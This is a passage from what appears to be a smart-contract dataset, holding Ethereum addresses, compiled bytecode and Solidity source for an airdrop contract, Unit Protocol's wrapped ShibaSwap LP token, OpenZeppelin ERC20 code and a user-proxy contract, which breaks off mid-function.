ffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061129b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561149b57fe5b818303905092915050565b60008082840190508381101515156114ba57fe5b80915050929150505600a165627a7a72305820b8264e88e6df6bc2461103b33d9390025fb5aa559c130baee89e8660109252520029
[ 38 ]
0xf2b89f45cc4ebbf11a36bdb4a4b24eada8dd30a7
pragma solidity ^0.4.19; /** * @title Token * @dev Simpler version of ERC20 interface */ contract Token { function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract AirDrop is Ownable { // This declares a state variable that would store the contract address Token public tokenInstance; /* constructor function to set token address */ function AirDrop(address _tokenAddress){ tokenInstance = Token(_tokenAddress); } /* Airdrop function which take up a array of address,token amount and eth amount and call the transfer function to send the token plus send eth to the address is balance is 0 */ function doAirDrop(address[] _address, uint256[] _amount, uint256 _ethAmount) onlyOwner public returns (bool) { uint256 count = _address.length; for (uint256 i = 0; i < count; i++) { /* calling transfer function from contract */ tokenInstance.transfer(_address [i],_amount [i]); if((_address [i].balance == 0) && (this.balance >= _ethAmount)) { require(_address [i].send(_ethAmount)); } } } function transferEthToOnwer() onlyOwner public returns (bool) { require(owner.send(this.balance)); } /* function to add eth to the contract */ function() payable { } /* function to kill contract */ function kill() onlyOwner { selfdestruct(owner); } }
0x606060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806341c0e1b51461007a5780635807630f1461008f578063658030b3146100bc5780638da5cb5b14610111578063df1d5de714610166578063f2fde38b14610221575b005b341561008557600080fd5b61008d61025a565b005b341561009a57600080fd5b6100a26102ef565b604051808215151515815260200191505060405180910390f35b34156100c757600080fd5b6100cf6103c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561011c57600080fd5b6101246103ed565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561017157600080fd5b61020760048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050610412565b604051808215151515815260200191505060405180910390f35b341561022c57600080fd5b610258600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610662565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102b557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561034c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156103c457600080fd5b90565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561047257600080fd5b85519150600090505b8181101561065957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87838151811015156104cf57fe5b9060200190602002015187848151811015156104e757fe5b906020019060200201516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561057e57600080fd5b6102c65a03f1151561058f57600080fd5b5050506040518051905050600086828151811015156105aa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16311480156105ef5750833073ffffffffffffffffffffffffffffffffffffffff163110155b1561064c57858181518110151561060257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050151561064b57600080fd5b5b808060010191505061047b565b50509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156106f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820226f6399a7b0094376148b97166179f1328cef86e5906711e5c13dd6e35b5ea70029
[ 16, 9 ]
0xf2b8a5519c931b531adcee2f3e0709a1665a1585
// SPDX-License-Identifier: bsl-1.1 /* Copyright 2021 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./WSSLPUserProxy.sol"; import "../../helpers/ReentrancyGuard.sol"; import "../../helpers/TransferHelper.sol"; import "../../Auth2.sol"; import "../../interfaces/IVault.sol"; import "../../interfaces/IERC20WithOptional.sol"; import "../../interfaces/wrapped-assets/IWrappedAsset.sol"; import "../../interfaces/wrapped-assets/ITopDog.sol"; import "../../interfaces/wrapped-assets/ISushiSwapLpToken.sol"; /** * @title ShibaSwapWrappedLp **/ contract WrappedShibaSwapLp is IWrappedAsset, Auth2, ERC20, ReentrancyGuard { using SafeMath for uint256; bytes32 public constant override isUnitProtocolWrappedAsset = keccak256("UnitProtocolWrappedAsset"); IVault public immutable vault; ITopDog public immutable topDog; uint256 public immutable topDogPoolId; IERC20 public immutable boneToken; address public immutable userProxyImplementation; mapping(address => WSSLPUserProxy) public usersProxies; mapping (address => mapping (bytes4 => bool)) allowedBoneLockersSelectors; address public feeReceiver; uint8 public feePercent = 10; constructor( address _vaultParameters, ITopDog _topDog, uint256 _topDogPoolId, address _feeReceiver ) Auth2(_vaultParameters) ERC20( string( abi.encodePacked( "Wrapped by Unit ", getSsLpTokenName(_topDog, _topDogPoolId), " ", getSsLpTokenToken0Symbol(_topDog, _topDogPoolId), "-", getSsLpTokenToken1Symbol(_topDog, _topDogPoolId) ) ), string( abi.encodePacked( "wu", getSsLpTokenSymbol(_topDog, _topDogPoolId), getSsLpTokenToken0Symbol(_topDog, _topDogPoolId), getSsLpTokenToken1Symbol(_topDog, _topDogPoolId) ) ) ) { boneToken = _topDog.bone(); topDog = _topDog; topDogPoolId = _topDogPoolId; vault = IVault(VaultParameters(_vaultParameters).vault()); _setupDecimals(IERC20WithOptional(getSsLpToken(_topDog, _topDogPoolId)).decimals()); feeReceiver = _feeReceiver; userProxyImplementation = address(new WSSLPUserProxy(_topDog, _topDogPoolId)); } function setFeeReceiver(address _feeReceiver) public onlyManager { feeReceiver = _feeReceiver; emit FeeReceiverChanged(_feeReceiver); } function setFee(uint8 _feePercent) public onlyManager { require(_feePercent <= 50, "Unit Protocol Wrapped Assets: INVALID_FEE"); feePercent = _feePercent; emit FeeChanged(_feePercent); } /** * @dev in case of change bone locker to unsupported by current methods one */ function setAllowedBoneLockerSelector(address _boneLocker, bytes4 _selector, bool _isAllowed) public onlyManager { allowedBoneLockersSelectors[_boneLocker][_selector] = _isAllowed; if (_isAllowed) { emit AllowedBoneLockerSelectorAdded(_boneLocker, _selector); } else { emit AllowedBoneLockerSelectorRemoved(_boneLocker, _selector); } } /** * @notice Approve sslp token to spend from user proxy (in case of change sslp) */ function approveSslpToTopDog() public nonReentrant { WSSLPUserProxy userProxy = _requireUserProxy(msg.sender); IERC20 sslpToken = getUnderlyingToken(); userProxy.approveSslpToTopDog(sslpToken); } /** * @notice Get tokens from user, send them to TopDog, sent to user wrapped tokens * @dev only user or CDPManager could call this method */ function deposit(address _user, uint256 _amount) public override nonReentrant { require(_amount > 0, "Unit Protocol Wrapped Assets: INVALID_AMOUNT"); require(msg.sender == _user || vaultParameters.canModifyVault(msg.sender), "Unit Protocol Wrapped Assets: AUTH_FAILED"); IERC20 sslpToken = getUnderlyingToken(); WSSLPUserProxy userProxy = _getOrCreateUserProxy(_user, sslpToken); // get tokens from user, need approve of sslp tokens to pool TransferHelper.safeTransferFrom(address(sslpToken), _user, address(userProxy), _amount); // deposit them to TopDog userProxy.deposit(_amount); // wrapped tokens to user _mint(_user, _amount); emit Deposit(_user, _amount); } /** * @notice Unwrap tokens, withdraw from TopDog and send them to user * @dev only user or CDPManager could call this method */ function withdraw(address _user, uint256 _amount) public override nonReentrant { require(_amount > 0, "Unit Protocol Wrapped Assets: INVALID_AMOUNT"); require(msg.sender == _user || vaultParameters.canModifyVault(msg.sender), "Unit Protocol Wrapped Assets: AUTH_FAILED"); IERC20 sslpToken = getUnderlyingToken(); WSSLPUserProxy userProxy = _requireUserProxy(_user); // get wrapped tokens from user _burn(_user, _amount); // withdraw funds from TopDog userProxy.withdraw(sslpToken, _amount, _user); emit Withdraw(_user, _amount); } /** * @notice Manually move position (or its part) to another user (for example in case of liquidation) * @dev Important! Use only with additional token transferring outside this function (example: liquidation - tokens are in vault and transferred by vault) * @dev only CDPManager could call this method */ function movePosition(address _userFrom, address _userTo, uint256 _amount) public override nonReentrant hasVaultAccess { require(_userFrom != address(vault) && _userTo != address(vault), "Unit Protocol Wrapped Assets: NOT_ALLOWED_FOR_VAULT"); if (_userFrom == _userTo || _amount == 0) { return; } IERC20 sslpToken = getUnderlyingToken(); WSSLPUserProxy userFromProxy = _requireUserProxy(_userFrom); WSSLPUserProxy userToProxy = _getOrCreateUserProxy(_userTo, sslpToken); userFromProxy.withdraw(sslpToken, _amount, address(userToProxy)); userToProxy.deposit(_amount); emit Withdraw(_userFrom, _amount); emit Deposit(_userTo, _amount); emit PositionMoved(_userFrom, _userTo, _amount); } /** * @notice Calculates pending reward for user. Not taken into account unclaimed reward from BoneLockers. * @notice Use getClaimableRewardFromBoneLocker to calculate unclaimed reward from BoneLockers */ function pendingReward(address _user) public override view returns (uint256) { WSSLPUserProxy userProxy = usersProxies[_user]; if (address(userProxy) == address(0)) { return 0; } return userProxy.pendingReward(feeReceiver, feePercent); } /** * @notice Claim pending direct reward for user. * @notice Use claimRewardFromBoneLockers claim reward from BoneLockers */ function claimReward(address _user) public override nonReentrant { require(_user == msg.sender, "Unit Protocol Wrapped Assets: AUTH_FAILED"); WSSLPUserProxy userProxy = _requireUserProxy(_user); userProxy.claimReward(_user, feeReceiver, feePercent); } /** * @notice Get claimable amount from BoneLocker * @param _user user address * @param _boneLocker BoneLocker to check, pass zero address to check current */ function getClaimableRewardFromBoneLocker(address _user, IBoneLocker _boneLocker) public view returns (uint256) { WSSLPUserProxy userProxy = usersProxies[_user]; if (address(userProxy) == address(0)) { return 0; } return userProxy.getClaimableRewardFromBoneLocker(_boneLocker, feeReceiver, feePercent); } /** * @notice Claim bones from BoneLockers * @notice Since it could be a lot of pending rewards items parameters are used limit tx size * @param _boneLocker BoneLocker to claim, pass zero address to claim from current * @param _maxBoneLockerRewardsAtOneClaim max amount of rewards items to claim from BoneLocker, pass 0 to claim all rewards */ function claimRewardFromBoneLocker(IBoneLocker _boneLocker, uint256 _maxBoneLockerRewardsAtOneClaim) public nonReentrant { WSSLPUserProxy userProxy = _requireUserProxy(msg.sender); userProxy.claimRewardFromBoneLocker(msg.sender, _boneLocker, _maxBoneLockerRewardsAtOneClaim, feeReceiver, feePercent); } /** * @notice get SSLP token * @dev not immutable since it could be changed in TopDog */ function getUnderlyingToken() public override view returns (IERC20) { (IERC20 _sslpToken,,,) = topDog.poolInfo(topDogPoolId); return _sslpToken; } /** * @notice Withdraw tokens from topdog to user proxy without caring about rewards. EMERGENCY ONLY. * @notice To withdraw tokens from user proxy to user use `withdrawToken` */ function emergencyWithdraw() public nonReentrant { WSSLPUserProxy userProxy = _requireUserProxy(msg.sender); uint amount = userProxy.getDepositedAmount(); _burn(msg.sender, amount); assert(balanceOf(msg.sender) == 0); userProxy.emergencyWithdraw(); emit EmergencyWithdraw(msg.sender, amount); } function withdrawToken(address _token, uint _amount) public nonReentrant { WSSLPUserProxy userProxy = _requireUserProxy(msg.sender); userProxy.withdrawToken(_token, msg.sender, _amount, feeReceiver, feePercent); emit TokenWithdraw(msg.sender, _token, _amount); } function readBoneLocker(address _user, address _boneLocker, bytes calldata _callData) public view returns (bool success, bytes memory data) { WSSLPUserProxy userProxy = _requireUserProxy(_user); (success, data) = userProxy.readBoneLocker(_boneLocker, _callData); } function callBoneLocker(address _boneLocker, bytes calldata _callData) public nonReentrant returns (bool success, bytes memory data) { bytes4 selector; assembly { selector := calldataload(_callData.offset) } require(allowedBoneLockersSelectors[_boneLocker][selector], "Unit Protocol Wrapped Assets: UNSUPPORTED_SELECTOR"); WSSLPUserProxy userProxy = _requireUserProxy(msg.sender); (success, data) = userProxy.callBoneLocker(_boneLocker, _callData); } /** * @dev Get sslp token for using in constructor */ function getSsLpToken(ITopDog _topDog, uint256 _topDogPoolId) private view returns (address) { (IERC20 _sslpToken,,,) = _topDog.poolInfo(_topDogPoolId); return address(_sslpToken); } /** * @dev Get symbol of sslp token for using in constructor */ function getSsLpTokenSymbol(ITopDog _topDog, uint256 _topDogPoolId) private view returns (string memory) { return IERC20WithOptional(getSsLpToken(_topDog, _topDogPoolId)).symbol(); } /** * @dev Get name of sslp token for using in constructor */ function getSsLpTokenName(ITopDog _topDog, uint256 _topDogPoolId) private view returns (string memory) { return IERC20WithOptional(getSsLpToken(_topDog, _topDogPoolId)).name(); } /** * @dev Get token0 symbol of sslp token for using in constructor */ function getSsLpTokenToken0Symbol(ITopDog _topDog, uint256 _topDogPoolId) private view returns (string memory) { return IERC20WithOptional(address(ISushiSwapLpToken(getSsLpToken(_topDog, _topDogPoolId)).token0())).symbol(); } /** * @dev Get token1 symbol of sslp token for using in constructor */ function getSsLpTokenToken1Symbol(ITopDog _topDog, uint256 _topDogPoolId) private view returns (string memory) { return IERC20WithOptional(address(ISushiSwapLpToken(getSsLpToken(_topDog, _topDogPoolId)).token1())).symbol(); } /** * @dev No direct transfers between users allowed since we store positions info in userInfo. */ function _transfer(address sender, address recipient, uint256 amount) internal override onlyVault { require(sender == address(vault) || recipient == address(vault), "Unit Protocol Wrapped Assets: AUTH_FAILED"); super._transfer(sender, recipient, amount); } function _requireUserProxy(address _user) internal view returns (WSSLPUserProxy userProxy) { userProxy = usersProxies[_user]; require(address(userProxy) != address(0), "Unit Protocol Wrapped Assets: NO_DEPOSIT"); } function _getOrCreateUserProxy(address _user, IERC20 sslpToken) internal returns (WSSLPUserProxy userProxy) { userProxy = usersProxies[_user]; if (address(userProxy) == address(0)) { // create new userProxy = WSSLPUserProxy(createClone(userProxyImplementation)); userProxy.approveSslpToTopDog(sslpToken); usersProxies[_user] = userProxy; } } /** * @dev see https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol */ function createClone(address target) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: bsl-1.1 /* Copyright 2022 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity 0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; // have to use OZ safemath since it is used in WSSLP import "../../interfaces/wrapped-assets/ITopDog.sol"; import "../../helpers/TransferHelper.sol"; /** * @title WSSLPUserProxy **/ contract WSSLPUserProxy { using SafeMath for uint256; address public immutable manager; ITopDog public immutable topDog; uint256 public immutable topDogPoolId; IERC20 public immutable boneToken; modifier onlyManager() { require(msg.sender == manager, "Unit Protocol Wrapped Assets: AUTH_FAILED"); _; } constructor(ITopDog _topDog, uint256 _topDogPoolId) { manager = msg.sender; topDog = _topDog; topDogPoolId = _topDogPoolId; boneToken = _topDog.bone(); } /** * @dev in case of change sslp */ function approveSslpToTopDog(IERC20 _sslpToken) public onlyManager { TransferHelper.safeApprove(address(_sslpToken), address(topDog), type(uint256).max); } function deposit(uint256 _amount) public onlyManager { topDog.deposit(topDogPoolId, _amount); } function withdraw(IERC20 _sslpToken, uint256 _amount, address _sentTokensTo) public onlyManager { topDog.withdraw(topDogPoolId, _amount); TransferHelper.safeTransfer(address(_sslpToken), _sentTokensTo, _amount); } function pendingReward(address _feeReceiver, uint8 _feePercent) public view returns (uint) { uint balance = boneToken.balanceOf(address(this)); uint pending = topDog.pendingBone(topDogPoolId, address(this)).mul(topDog.rewardMintPercent()).div(100); (uint amountWithoutFee, ) = _calcFee(balance.add(pending), _feeReceiver, _feePercent); return amountWithoutFee; } function claimReward(address _user, address _feeReceiver, uint8 _feePercent) public onlyManager { topDog.deposit(topDogPoolId, 0); // get current reward (no separate methods) _sendAllBonesToUser(_user, _feeReceiver, _feePercent); } function _calcFee(uint _amount, address _feeReceiver, uint8 _feePercent) internal pure returns (uint amountWithoutFee, uint fee) { if (_feePercent == 0 || _feeReceiver == address(0)) { return (_amount, 0); } fee = _amount.mul(_feePercent).div(100); return (_amount.sub(fee), fee); } function _sendAllBonesToUser(address _user, address _feeReceiver, uint8 _feePercent) internal { uint balance = boneToken.balanceOf(address(this)); _sendBonesToUser(_user, balance, _feeReceiver, _feePercent); } function _sendBonesToUser(address _user, uint _amount, address _feeReceiver, uint8 _feePercent) internal { (uint amountWithoutFee, uint fee) = _calcFee(_amount, _feeReceiver, _feePercent); if (fee > 0) { TransferHelper.safeTransfer(address(boneToken), _feeReceiver, fee); } TransferHelper.safeTransfer(address(boneToken), _user, amountWithoutFee); } function getClaimableRewardFromBoneLocker(IBoneLocker _boneLocker, address _feeReceiver, uint8 _feePercent) public view returns (uint) { if (address(_boneLocker) == address(0)) { _boneLocker = topDog.boneLocker(); } (uint amountWithoutFee, ) = _calcFee(_boneLocker.getClaimableAmount(address(this)), _feeReceiver, _feePercent); return amountWithoutFee; } function claimRewardFromBoneLocker(address _user, IBoneLocker _boneLocker, uint256 _maxBoneLockerRewardsAtOneClaim, address _feeReceiver, uint8 _feePercent) public onlyManager { if (address(_boneLocker) == address(0)) { _boneLocker = topDog.boneLocker(); } (uint256 left, uint256 right) = _boneLocker.getLeftRightCounters(address(this)); if (right <= left) { return; } if (_maxBoneLockerRewardsAtOneClaim > 0 && right - left > _maxBoneLockerRewardsAtOneClaim) { right = left + _maxBoneLockerRewardsAtOneClaim; } _boneLocker.claimAll(right); _sendAllBonesToUser(_user, _feeReceiver, _feePercent); } function emergencyWithdraw() public onlyManager { topDog.emergencyWithdraw(topDogPoolId); } function 